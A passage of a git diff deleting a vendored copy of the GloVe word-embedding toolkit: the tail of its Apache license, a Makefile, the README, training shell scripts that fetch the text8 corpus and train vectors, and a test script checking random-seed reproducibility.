generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright 2014 The Board of Trustees of The Leland Stanford Junior University - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/glove_embedding/glove/Makefile b/glove_embedding/glove/Makefile deleted file mode 100644 index beefe84..0000000 --- a/glove_embedding/glove/Makefile +++ /dev/null @@ -1,47 +0,0 @@ -CC = gcc -#For older gcc, use -O3 or -O2 instead of -Ofast -# CFLAGS = -lm -pthread -Ofast -march=native -funroll-loops -Wno-unused-result - -# Use -Ofast with caution. It speeds up training, but the checks for NaN will not work -# (-Ofast turns on --fast-math, which turns on -ffinite-math-only, -# which assumes everything is NOT NaN or +-Inf, so checks for NaN always return false -# see https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html) -# CFLAGS = -lm -pthread -Ofast -march=native -funroll-loops -Wall -Wextra -Wpedantic - -CPU_ARCHITECTURE = $(shell uname -m) -OS = $(shell uname -o) -# Non-empty string if Apple Silicon, empty string otherwise. -APPLE_SILICON = $(and $(filter Darwin,$(OS)),$(filter arm64,$(CPU_ARCHITECTURE))) - -# clang (which masquerades as gcc on macOS) doesn't support this option, at least -# not the Apple-provided clang on Apple Silicon as of macOS 13.2.1. -ifeq ($(APPLE_SILICON),) -CPU_ARCHITECTURE_FLAGS = -march=native -endif - -CFLAGS = -lm -pthread -O3 $(CPU_ARCHITECTURE_FLAGS) -funroll-loops -Wall -Wextra -Wpedantic -BUILDDIR := build -SRCDIR := src -OBJDIR := $(BUILDDIR) - -OBJ := $(OBJDIR)/vocab_count.o $(OBJDIR)/cooccur.o $(OBJDIR)/shuffle.o $(OBJDIR)/glove.o -HEADERS := $(SRCDIR)/common.h -MODULES := $(BUILDDIR)/vocab_count $(BUILDDIR)/cooccur $(BUILDDIR)/shuffle $(BUILDDIR)/glove - - -all: dir $(OBJ) $(MODULES) -dir : - mkdir -p $(BUILDDIR) -$(BUILDDIR)/glove : $(OBJDIR)/glove.o $(OBJDIR)/common.o - $(CC) $^ -o $@ $(CFLAGS) -$(BUILDDIR)/shuffle : $(OBJDIR)/shuffle.o $(OBJDIR)/common.o - $(CC) $^ -o $@ $(CFLAGS) -$(BUILDDIR)/cooccur : $(OBJDIR)/cooccur.o $(OBJDIR)/common.o - $(CC) $^ -o $@ $(CFLAGS) -$(BUILDDIR)/vocab_count : $(OBJDIR)/vocab_count.o $(OBJDIR)/common.o - $(CC) $^ -o $@ $(CFLAGS) -$(OBJDIR)/%.o : $(SRCDIR)/%.c $(HEADERS) - $(CC) -c $< -o $@ $(CFLAGS) -.PHONY: clean -clean: - rm -rf $(BUILDDIR) diff --git a/glove_embedding/glove/README.md b/glove_embedding/glove/README.md deleted file mode 100644 index 73a6ad9..0000000 --- a/glove_embedding/glove/README.md +++ /dev/null @@ -1,44 +0,0 @@ -## GloVe: Global Vectors for Word Representation - - -| nearest neighbors of
frog | Litoria | Leptodactylidae | Rana | Eleutherodactylus | -| --- | ------------------------------- | ------------------- | ---------------- | ------------------- | -| Pictures | | | | | - -| Comparisons | man -> woman | city -> zip | comparative -> superlative | -| --- | ------------------------|-------------------------|-------------------------| -| GloVe Geometry | | | | - -We provide an implementation of the GloVe model for learning word representations, and describe how to download web-dataset vectors or train your own. See the [project page](https://nlp.stanford.edu/projects/glove/) or the [paper](https://nlp.stanford.edu/pubs/glove.pdf) for more information on glove vectors. - -## Download pre-trained word vectors -The links below contain word vectors obtained from the respective corpora. If you want word vectors trained on massive web datasets, you need only download one of these text files! Pre-trained word vectors are made available under the Public Domain Dedication and License. -
- -
- -## Train word vectors on a new corpus - - - -If the web datasets above don't match the semantics of your end use case, you can train word vectors on your own corpus. - - $ git clone https://github.com/stanfordnlp/glove - $ cd glove && make - $ ./demo.sh - -Make sure you have the following prerequisites installed when running the steps above: - -* GNU Make -* GCC (Clang pretending to be GCC is fine) -* Python and NumPy - -The demo.sh script downloads a small corpus, consisting of the first 100M characters of Wikipedia. It collects unigram counts, constructs and shuffles cooccurrence data, and trains a simple version of the GloVe model. It also runs a word analogy evaluation script in python to verify word vector quality. More details about training on your own corpus can be found by reading [demo.sh](https://github.com/stanfordnlp/GloVe/blob/master/demo.sh) or the [src/README.md](https://github.com/stanfordnlp/GloVe/tree/master/src) - -### License -All work contained in this package is licensed under the Apache License, Version 2.0. See the include LICENSE file. diff --git a/glove_embedding/glove/all_1_0.8.sh b/glove_embedding/glove/all_1_0.8.sh deleted file mode 100644 index 74aa419..0000000 --- a/glove_embedding/glove/all_1_0.8.sh +++ /dev/null @@ -1,58 +0,0 @@ -#!/bin/bash -set -e - -# Makes programs, downloads sample data, trains a GloVe model, and then evaluates it. -# One optional argument can specify the language used for eval script: matlab, octave or [default] python - -make -#if [ ! -e text8 ]; then -# if hash wget 2>/dev/null; then -# wget http://mattmahoney.net/dc/text8.zip -# else -# curl -O http://mattmahoney.net/dc/text8.zip -# fi -# unzip text8.zip -# rm text8.zip -#fi - -CORPUS=../train_vocab/all_1_0.8_vocab.txt -VOCAB_FILE=../trained_model/all_1_0.8/vocab.txt -COOCCURRENCE_FILE=../trained_model/all_1_0.8/cooccurrence.bin -COOCCURRENCE_SHUF_FILE=../trained_model/all_1_0.8/cooccurrence.shuf.bin -BUILDDIR=build -SAVE_FILE=../trained_model/all_1_0.8/vectors -VERBOSE=2 -MEMORY=4.0 -VOCAB_MIN_COUNT=5 -VECTOR_SIZE=200 -MAX_ITER=15 -WINDOW_SIZE=15 -BINARY=2 -NUM_THREADS=8 -X_MAX=10 -#if hash python 2>/dev/null; then -# PYTHON=python -#else -# PYTHON=python3 -#fi -PYTHON=python3.9 - -echo -echo "$ $BUILDDIR/vocab_count -min-count $VOCAB_MIN_COUNT -verbose $VERBOSE < $CORPUS > $VOCAB_FILE" -$BUILDDIR/vocab_count -min-count $VOCAB_MIN_COUNT -verbose $VERBOSE < $CORPUS > $VOCAB_FILE -echo "$ $BUILDDIR/cooccur -memory $MEMORY -vocab-file $VOCAB_FILE -verbose $VERBOSE -window-size $WINDOW_SIZE < $CORPUS > $COOCCURRENCE_FILE" -$BUILDDIR/cooccur -memory $MEMORY -vocab-file $VOCAB_FILE -verbose $VERBOSE -window-size $WINDOW_SIZE < $CORPUS > $COOCCURRENCE_FILE -echo "$ $BUILDDIR/shuffle -memory $MEMORY -verbose $VERBOSE < $COOCCURRENCE_FILE > $COOCCURRENCE_SHUF_FILE" -$BUILDDIR/shuffle -memory $MEMORY -verbose $VERBOSE < $COOCCURRENCE_FILE > $COOCCURRENCE_SHUF_FILE -echo "$ $BUILDDIR/glove -save-file $SAVE_FILE -threads $NUM_THREADS -input-file $COOCCURRENCE_SHUF_FILE -x-max $X_MAX -iter $MAX_ITER -vector-size $VECTOR_SIZE -binary $BINARY -vocab-file $VOCAB_FILE -verbose $VERBOSE" -$BUILDDIR/glove -save-file $SAVE_FILE -threads $NUM_THREADS -input-file $COOCCURRENCE_SHUF_FILE -x-max $X_MAX -iter $MAX_ITER -vector-size $VECTOR_SIZE -binary $BINARY -vocab-file $VOCAB_FILE -verbose $VERBOSE -if [ "$CORPUS" = 'text8' ]; then - if [ "$1" = 'matlab' ]; then - matlab -nodisplay -nodesktop -nojvm -nosplash < ./eval/matlab/read_and_evaluate.m 1>&2 - elif [ "$1" = 'octave' ]; then - octave < ./eval/octave/read_and_evaluate_octave.m 1>&2 - else - echo "$ $PYTHON eval/python/evaluate.py" - $PYTHON eval/python/evaluate.py - fi -fi diff --git a/glove_embedding/glove/all_2_0.8.sh b/glove_embedding/glove/all_2_0.8.sh deleted file mode 100644 index ef7b0ee..0000000 --- a/glove_embedding/glove/all_2_0.8.sh +++ /dev/null @@ -1,58 +0,0 @@ -#!/bin/bash -set -e - -# Makes programs, downloads sample data, trains a GloVe model, and then evaluates it. -# One optional argument can specify the language used for eval script: matlab, octave or [default] python - -make -#if [ ! -e text8 ]; then -# if hash wget 2>/dev/null; then -# wget http://mattmahoney.net/dc/text8.zip -# else -# curl -O http://mattmahoney.net/dc/text8.zip -# fi -# unzip text8.zip -# rm text8.zip -#fi - -CORPUS=../train_vocab/all_2_0.8_vocab.txt -VOCAB_FILE=../trained_model/all_2_0.8/vocab.txt -COOCCURRENCE_FILE=../trained_model/all_2_0.8/cooccurrence.bin -COOCCURRENCE_SHUF_FILE=../trained_model/all_2_0.8/cooccurrence.shuf.bin -BUILDDIR=build -SAVE_FILE=../trained_model/all_2_0.8/vectors -VERBOSE=2 -MEMORY=4.0 -VOCAB_MIN_COUNT=5 -VECTOR_SIZE=200 -MAX_ITER=15 -WINDOW_SIZE=15 -BINARY=2 -NUM_THREADS=8 -X_MAX=10 -#if hash python 2>/dev/null; then -# PYTHON=python -#else -# PYTHON=python3 -#fi -PYTHON=python3.9 - -echo -echo "$ $BUILDDIR/vocab_count -min-count $VOCAB_MIN_COUNT -verbose $VERBOSE < $CORPUS > $VOCAB_FILE" -$BUILDDIR/vocab_count -min-count $VOCAB_MIN_COUNT -verbose $VERBOSE < $CORPUS > $VOCAB_FILE -echo "$ $BUILDDIR/cooccur -memory $MEMORY -vocab-file $VOCAB_FILE -verbose $VERBOSE -window-size $WINDOW_SIZE < $CORPUS > $COOCCURRENCE_FILE" -$BUILDDIR/cooccur -memory $MEMORY -vocab-file $VOCAB_FILE -verbose $VERBOSE -window-size $WINDOW_SIZE < $CORPUS > $COOCCURRENCE_FILE -echo "$ $BUILDDIR/shuffle -memory $MEMORY -verbose $VERBOSE < $COOCCURRENCE_FILE > $COOCCURRENCE_SHUF_FILE" -$BUILDDIR/shuffle -memory $MEMORY -verbose $VERBOSE < $COOCCURRENCE_FILE > $COOCCURRENCE_SHUF_FILE -echo "$ $BUILDDIR/glove -save-file $SAVE_FILE -threads $NUM_THREADS -input-file $COOCCURRENCE_SHUF_FILE -x-max $X_MAX -iter $MAX_ITER -vector-size $VECTOR_SIZE -binary $BINARY -vocab-file $VOCAB_FILE -verbose $VERBOSE" -$BUILDDIR/glove -save-file $SAVE_FILE -threads $NUM_THREADS -input-file $COOCCURRENCE_SHUF_FILE -x-max $X_MAX -iter $MAX_ITER -vector-size $VECTOR_SIZE -binary $BINARY -vocab-file $VOCAB_FILE -verbose $VERBOSE -if [ "$CORPUS" = 'text8' ]; then - if [ "$1" = 'matlab' ]; then - matlab -nodisplay -nodesktop -nojvm -nosplash < ./eval/matlab/read_and_evaluate.m 1>&2 - elif [ "$1" = 'octave' ]; then - octave < ./eval/octave/read_and_evaluate_octave.m 1>&2 - else - echo "$ $PYTHON eval/python/evaluate.py" - $PYTHON eval/python/evaluate.py - fi -fi diff --git a/glove_embedding/glove/all_3_0.8.sh b/glove_embedding/glove/all_3_0.8.sh deleted file mode 100644 index 934adfd..0000000 --- a/glove_embedding/glove/all_3_0.8.sh +++ /dev/null @@ -1,58 +0,0 @@ -#!/bin/bash -set -e - -# Makes programs, downloads sample data, trains a GloVe model, and then evaluates it. -# One optional argument can specify the language used for eval script: matlab, octave or [default] python - -make -#if [ ! -e text8 ]; then -# if hash wget 2>/dev/null; then -# wget http://mattmahoney.net/dc/text8.zip -# else -# curl -O http://mattmahoney.net/dc/text8.zip -# fi -# unzip text8.zip -# rm text8.zip -#fi - -CORPUS=../train_vocab/all_3_0.8_vocab.txt -VOCAB_FILE=../trained_model/all_3_0.8/vocab.txt -COOCCURRENCE_FILE=../trained_model/all_3_0.8/cooccurrence.bin -COOCCURRENCE_SHUF_FILE=../trained_model/all_3_0.8/cooccurrence.shuf.bin -BUILDDIR=build -SAVE_FILE=../trained_model/all_3_0.8/vectors -VERBOSE=2 -MEMORY=4.0 -VOCAB_MIN_COUNT=5 -VECTOR_SIZE=200 -MAX_ITER=15 -WINDOW_SIZE=15 -BINARY=2 -NUM_THREADS=8 -X_MAX=10 -#if hash python 2>/dev/null; then -# PYTHON=python -#else -# PYTHON=python3 -#fi -PYTHON=python3.9 - -echo -echo "$ $BUILDDIR/vocab_count -min-count $VOCAB_MIN_COUNT -verbose $VERBOSE < $CORPUS > $VOCAB_FILE" -$BUILDDIR/vocab_count -min-count $VOCAB_MIN_COUNT -verbose $VERBOSE < $CORPUS > $VOCAB_FILE -echo "$ $BUILDDIR/cooccur -memory $MEMORY -vocab-file $VOCAB_FILE -verbose $VERBOSE -window-size $WINDOW_SIZE < $CORPUS > $COOCCURRENCE_FILE" -$BUILDDIR/cooccur -memory $MEMORY -vocab-file $VOCAB_FILE -verbose $VERBOSE -window-size $WINDOW_SIZE < $CORPUS > $COOCCURRENCE_FILE -echo "$ $BUILDDIR/shuffle -memory $MEMORY -verbose $VERBOSE < $COOCCURRENCE_FILE > $COOCCURRENCE_SHUF_FILE" -$BUILDDIR/shuffle -memory $MEMORY -verbose $VERBOSE < $COOCCURRENCE_FILE > $COOCCURRENCE_SHUF_FILE -echo "$ $BUILDDIR/glove -save-file $SAVE_FILE -threads $NUM_THREADS -input-file $COOCCURRENCE_SHUF_FILE -x-max $X_MAX -iter $MAX_ITER -vector-size $VECTOR_SIZE -binary $BINARY -vocab-file $VOCAB_FILE -verbose $VERBOSE" -$BUILDDIR/glove -save-file $SAVE_FILE -threads $NUM_THREADS -input-file $COOCCURRENCE_SHUF_FILE -x-max $X_MAX -iter $MAX_ITER -vector-size $VECTOR_SIZE -binary $BINARY -vocab-file $VOCAB_FILE -verbose $VERBOSE -if [ "$CORPUS" = 'text8' ]; then - if [ "$1" = 'matlab' ]; then - matlab -nodisplay -nodesktop -nojvm -nosplash < ./eval/matlab/read_and_evaluate.m 1>&2 - elif [ "$1" = 'octave' ]; then - octave < ./eval/octave/read_and_evaluate_octave.m 1>&2 - else - echo "$ $PYTHON eval/python/evaluate.py" - $PYTHON eval/python/evaluate.py - fi -fi diff --git a/glove_embedding/glove/demo.sh b/glove_embedding/glove/demo.sh deleted file mode 100644 index d95b230..0000000 --- a/glove_embedding/glove/demo.sh +++ /dev/null @@ -1,58 +0,0 @@ -#!/bin/bash -set -e - -# Makes programs, downloads sample data, trains a GloVe model, and then evaluates it. -# One optional argument can specify the language used for eval script: matlab, octave or [default] python - -make -#if [ ! -e text8 ]; then -# if hash wget 2>/dev/null; then -# wget http://mattmahoney.net/dc/text8.zip -# else -# curl -O http://mattmahoney.net/dc/text8.zip -# fi -# unzip text8.zip -# rm text8.zip -#fi - -CORPUS=text8 -VOCAB_FILE=vocab.txt -COOCCURRENCE_FILE=cooccurrence.bin -COOCCURRENCE_SHUF_FILE=cooccurrence.shuf.bin -BUILDDIR=build -SAVE_FILE=vectors -VERBOSE=2 -MEMORY=4.0 -VOCAB_MIN_COUNT=5 -VECTOR_SIZE=50 -MAX_ITER=15 -WINDOW_SIZE=15 -BINARY=2 -NUM_THREADS=8 -X_MAX=10 -#if hash python 2>/dev/null; then -# PYTHON=python -#else -# PYTHON=python3 -#fi -PYTHON=python3.9 - -echo -echo "$ $BUILDDIR/vocab_count -min-count $VOCAB_MIN_COUNT -verbose $VERBOSE < $CORPUS > $VOCAB_FILE" -$BUILDDIR/vocab_count -min-count $VOCAB_MIN_COUNT -verbose $VERBOSE < $CORPUS > $VOCAB_FILE -echo "$ $BUILDDIR/cooccur -memory $MEMORY -vocab-file $VOCAB_FILE -verbose $VERBOSE -window-size $WINDOW_SIZE < $CORPUS > $COOCCURRENCE_FILE" -$BUILDDIR/cooccur -memory $MEMORY -vocab-file $VOCAB_FILE -verbose $VERBOSE -window-size $WINDOW_SIZE < $CORPUS > $COOCCURRENCE_FILE -echo "$ $BUILDDIR/shuffle -memory $MEMORY -verbose $VERBOSE < $COOCCURRENCE_FILE > $COOCCURRENCE_SHUF_FILE" -$BUILDDIR/shuffle -memory $MEMORY -verbose $VERBOSE < $COOCCURRENCE_FILE > $COOCCURRENCE_SHUF_FILE -echo "$ $BUILDDIR/glove -save-file $SAVE_FILE -threads $NUM_THREADS -input-file $COOCCURRENCE_SHUF_FILE -x-max $X_MAX -iter $MAX_ITER -vector-size $VECTOR_SIZE -binary $BINARY -vocab-file $VOCAB_FILE -verbose $VERBOSE" -$BUILDDIR/glove -save-file $SAVE_FILE -threads $NUM_THREADS -input-file $COOCCURRENCE_SHUF_FILE -x-max $X_MAX -iter $MAX_ITER -vector-size $VECTOR_SIZE -binary $BINARY -vocab-file $VOCAB_FILE -verbose $VERBOSE -if [ "$CORPUS" = 'text8' ]; then - if [ "$1" = 'matlab' ]; then - matlab -nodisplay -nodesktop -nojvm -nosplash < ./eval/matlab/read_and_evaluate.m 1>&2 - elif [ "$1" = 'octave' ]; then - octave < ./eval/octave/read_and_evaluate_octave.m 1>&2 - else - echo "$ $PYTHON eval/python/evaluate.py" - $PYTHON eval/python/evaluate.py - fi -fi diff --git a/glove_embedding/glove/mylyn_1_0.8.sh b/glove_embedding/glove/mylyn_1_0.8.sh deleted file mode 100644 index c73be1f..0000000 --- a/glove_embedding/glove/mylyn_1_0.8.sh +++ /dev/null @@ -1,58 +0,0 @@ -#!/bin/bash -set -e - -# Makes programs, downloads sample data, trains a GloVe model, and then evaluates it. -# One optional argument can specify the language used for eval script: matlab, octave or [default] python - -make -#if [ ! -e text8 ]; then -# if hash wget 2>/dev/null; then -# wget http://mattmahoney.net/dc/text8.zip -# else -# curl -O http://mattmahoney.net/dc/text8.zip -# fi -# unzip text8.zip -# rm text8.zip -#fi - -CORPUS=../train_vocab/mylyn_1_0.8_vocab.txt -VOCAB_FILE=../trained_model/mylyn_1_0.8/vocab.txt -COOCCURRENCE_FILE=../trained_model/mylyn_1_0.8/cooccurrence.bin -COOCCURRENCE_SHUF_FILE=../trained_model/mylyn_1_0.8/cooccurrence.shuf.bin -BUILDDIR=build -SAVE_FILE=../trained_model/mylyn_1_0.8/vectors -VERBOSE=2 -MEMORY=4.0 -VOCAB_MIN_COUNT=5 -VECTOR_SIZE=512 -MAX_ITER=15 -WINDOW_SIZE=15 -BINARY=2 -NUM_THREADS=8 -X_MAX=10 -#if hash python 2>/dev/null; then -# PYTHON=python -#else -# PYTHON=python3 -#fi -PYTHON=python3.9 - -echo -echo "$ $BUILDDIR/vocab_count -min-count $VOCAB_MIN_COUNT -verbose $VERBOSE < $CORPUS > $VOCAB_FILE" -$BUILDDIR/vocab_count -min-count $VOCAB_MIN_COUNT -verbose $VERBOSE < $CORPUS > $VOCAB_FILE -echo "$ $BUILDDIR/cooccur -memory $MEMORY -vocab-file $VOCAB_FILE -verbose $VERBOSE -window-size $WINDOW_SIZE < $CORPUS > $COOCCURRENCE_FILE" -$BUILDDIR/cooccur -memory $MEMORY -vocab-file $VOCAB_FILE -verbose $VERBOSE -window-size $WINDOW_SIZE < $CORPUS > $COOCCURRENCE_FILE -echo "$ $BUILDDIR/shuffle -memory $MEMORY -verbose $VERBOSE < $COOCCURRENCE_FILE > $COOCCURRENCE_SHUF_FILE" -$BUILDDIR/shuffle -memory $MEMORY -verbose $VERBOSE < $COOCCURRENCE_FILE > $COOCCURRENCE_SHUF_FILE -echo "$ $BUILDDIR/glove -save-file $SAVE_FILE -threads $NUM_THREADS -input-file $COOCCURRENCE_SHUF_FILE -x-max $X_MAX -iter $MAX_ITER -vector-size $VECTOR_SIZE -binary $BINARY -vocab-file $VOCAB_FILE -verbose $VERBOSE" -$BUILDDIR/glove -save-file $SAVE_FILE -threads $NUM_THREADS -input-file $COOCCURRENCE_SHUF_FILE -x-max $X_MAX -iter $MAX_ITER -vector-size $VECTOR_SIZE -binary $BINARY -vocab-file $VOCAB_FILE -verbose $VERBOSE -if [ "$CORPUS" = 'text8' ]; then - if [ "$1" = 'matlab' ]; then - matlab -nodisplay -nodesktop -nojvm -nosplash < ./eval/matlab/read_and_evaluate.m 1>&2 - elif [ "$1" = 'octave' ]; then - octave < ./eval/octave/read_and_evaluate_octave.m 1>&2 - else - echo "$ $PYTHON eval/python/evaluate.py" - $PYTHON eval/python/evaluate.py - fi -fi diff --git a/glove_embedding/glove/randomization.test.sh b/glove_embedding/glove/randomization.test.sh deleted file mode 100644 index 069d6d8..0000000 --- a/glove_embedding/glove/randomization.test.sh +++ /dev/null @@ -1,127 +0,0 @@ -# Tests for ensuring randomization is being controlled - -make - -if [ ! -e text8 ]; then - if hash wget 2>/dev/null; then - wget http://mattmahoney.net/dc/text8.zip - else - curl -O http://mattmahoney.net/dc/text8.zip - fi - unzip text8.zip - rm text8.zip -fi - -# Global constants -CORPUS=text8 -VERBOSE=2 -BUILDDIR=build -MEMORY=4.0 -VOCAB_MIN_COUNT=20 - -# Re-used files -VOCAB_FILE=$(mktemp vocab.test.txt.XXXXXX) -COOCCURRENCE_FILE=$(mktemp cooccurrence.test.bin.XXXXXX) -COOCCURRENCE_SHUF_FILE=$(mktemp cooccurrence_shuf.test.bin.XXXXXX) - -# Make vocab -$BUILDDIR/vocab_count -min-count $VOCAB_MIN_COUNT -verbose $VERBOSE < $CORPUS > $VOCAB_FILE - -# Make Coocurrences -$BUILDDIR/cooccur -memory $MEMORY -vocab-file $VOCAB_FILE -verbose $VERBOSE -window-size 5 < $CORPUS > $COOCCURRENCE_FILE - -# Shuffle Coocurrences -$BUILDDIR/shuffle -memory $MEMORY -verbose $VERBOSE -seed 1 < $COOCCURRENCE_FILE > $COOCCURRENCE_SHUF_FILE - -# Keep track of failure -num_failed=0 - -check_exit() { - eval $2 - failed=$(( $1 != $? )) - num_failed=$(( $num_failed + $failed )) - if [[ $failed -eq 0 ]]; then - echo PASSED - else - echo FAILED - fi -} - -# Test control of random seed in shuffle -printf "\n\n--- TEST SET: Control of random seed in shuffle\n" -TEST_FILE=$(mktemp cooc_shuf.test.bin.XXXXXX) - -printf "\n- TEST: Using the same seed should get the same shuffle\n" -$BUILDDIR/shuffle -memory $MEMORY -verbose 0 -seed 1 < $COOCCURRENCE_FILE > $TEST_FILE -check_exit 0 "cmp --quiet $COOCCURRENCE_SHUF_FILE $TEST_FILE" - -printf "\n- TEST: Changing the seed should change the shuffle\n" -$BUILDDIR/shuffle -memory $MEMORY -verbose 0 -seed 2 < $COOCCURRENCE_FILE > $TEST_FILE -check_exit 1 "cmp --quiet $COOCCURRENCE_SHUF_FILE $TEST_FILE" - -rm $TEST_FILE # Clean up -# --- - -# Control randomization in GloVe -printf "\n\n--- TEST SET: Control of random seed in glove\n" -# Note "-threads" must equal 1 for these to pass, since order in which results come back from individual threads is uncontrolled -BASE_PREFIX=$(mktemp base_vectors.XXXXXX) -TEST_PREFIX=$(mktemp test_vectors.XXXXXX) - -printf "\n- TEST: Reusing seed should give the same vectors\n" -$BUILDDIR/glove -save-file $BASE_PREFIX -threads 1 -input-file $COOCCURRENCE_SHUF_FILE -iter 3 -vector-size 10 -binary 1 -vocab-file $VOCAB_FILE -verbose 0 -seed 1 -$BUILDDIR/glove -save-file $TEST_PREFIX -threads 1 -input-file $COOCCURRENCE_SHUF_FILE -iter 3 -vector-size 10 -binary 1 -vocab-file $VOCAB_FILE -verbose 0 -seed 1 -check_exit 0 "cmp --quiet $BASE_PREFIX.bin $TEST_PREFIX.bin" - -printf "\n- TEST: Changing seed should change the learned vectors\n" -$BUILDDIR/glove -save-file $TEST_PREFIX -threads 1 -input-file $COOCCURRENCE_SHUF_FILE -iter 3 -vector-size 10 -binary 1 -vocab-file $VOCAB_FILE -verbose 0 -seed 2 -check_exit 1 "cmp --quiet $BASE_PREFIX.bin $TEST_PREFIX.bin" - -printf "\n- TEST: Should be able to save/load initial parameters\n" -$BUILDDIR/glove -save-file $BASE_PREFIX -threads 1 -input-file $COOCCURRENCE_SHUF_FILE -iter 3 -vector-size 10 -binary 1 -vocab-file $VOCAB_FILE -verbose 0 -save-init-param 1 -$BUILDDIR/glove -save-file $TEST_PREFIX -threads 1 -input-file $COOCCURRENCE_SHUF_FILE -iter 3 -vector-size 10 -binary 1 -vocab-file $VOCAB_FILE -verbose 0 -save-init-param 1 -load-init-param 1 -init-param-file "$BASE_PREFIX.000.bin" -check_exit 0 "cmp --quiet $BASE_PREFIX.000.bin $TEST_PREFIX.000.bin && cmp --quiet $BASE_PREFIX.bin $TEST_PREFIX.bin" - -rm "$BASE_PREFIX.000.bin" "$TEST_PREFIX.000.bin" "$BASE_PREFIX.bin" "$TEST_PREFIX.bin" # Clean up -rm $BASE_PREFIX $TEST_PREFIX - -# ---- - -printf "\n- TEST: Should be able to save/load initial parameters and gradsq\n" -# note: the seed will be randomly assigned and should not matter -$BUILDDIR/glove -save-file $BASE_PREFIX -gradsq-file $BASE_PREFIX.gradsq -threads 1 -input-file $COOCCURRENCE_SHUF_FILE -iter 6 -vector-size 10 -binary 1 -vocab-file $VOCAB_FILE -verbose 0 -checkpoint-every 2 - -$BUILDDIR/glove -save-file $TEST_PREFIX -gradsq-file $TEST_PREFIX.gradsq -threads 1 -input-file $COOCCURRENCE_SHUF_FILE -iter 4 -vector-size 10 -binary 1 -vocab-file $VOCAB_FILE -verbose 0 -checkpoint-every 2 -load-init-param 1 -init-param-file "$BASE_PREFIX.002.bin" -load-init-gradsq 1 -init-gradsq-file "$BASE_PREFIX.gradsq.002.bin" - -echo "Compare vectors before & after load gradsq - 2 iterations" -check_exit 0 "cmp --quiet $BASE_PREFIX.004.bin $TEST_PREFIX.002.bin" -echo "Compare vectors before & after load gradsq - 4 iterations" -check_exit 0 "cmp --quiet $BASE_PREFIX.006.bin $TEST_PREFIX.004.bin" -echo "Compare vectors before & after load gradsq - final" -check_exit 0 "cmp --quiet $BASE_PREFIX.bin $TEST_PREFIX.bin" - -echo "Compare gradsq before & after load gradsq - 2 iterations" -check_exit 0 "cmp --quiet $BASE_PREFIX.gradsq.004.bin $TEST_PREFIX.gradsq.002.bin" -echo "Compare gradsq before & after load gradsq - 4 iterations" -check_exit 0 "cmp --quiet $BASE_PREFIX.gradsq.006.bin $TEST_PREFIX.gradsq.004.bin" -echo "Compare gradsq before & after load gradsq - final" -check_exit 0 "cmp --quiet $BASE_PREFIX.gradsq.bin $TEST_PREFIX.gradsq.bin" - -echo "Cleaning up files" -check_exit 0 "rm $BASE_PREFIX.002.bin $BASE_PREFIX.004.bin $BASE_PREFIX.006.bin $BASE_PREFIX.bin" -check_exit 0 "rm $BASE_PREFIX.gradsq.002.bin $BASE_PREFIX.gradsq.004.bin $BASE_PREFIX.gradsq.006.bin $BASE_PREFIX.gradsq.bin" -check_exit 0 "rm $TEST_PREFIX.002.bin $TEST_PREFIX.004.bin $TEST_PREFIX.bin" -check_exit 0 "rm $TEST_PREFIX.gradsq.002.bin $TEST_PREFIX.gradsq.004.bin $TEST_PREFIX.gradsq.bin" -check_exit 0 "rm $VOCAB_FILE $COOCCURRENCE_FILE $COOCCURRENCE_SHUF_FILE" - -echo -echo SUMMARY: -if [[ $num_failed -gt 0 ]]; then - echo $num_failed tests failed. - exit 1 -else - echo All tests passed. - exit 0 -fi - - diff --git a/glove_embedding/glove_entry.py b/glove_embedding/glove_entry.py deleted file mode 100644 index 90536c1..0000000 --- a/glove_embedding/glove_entry.py +++ /dev/null @@ 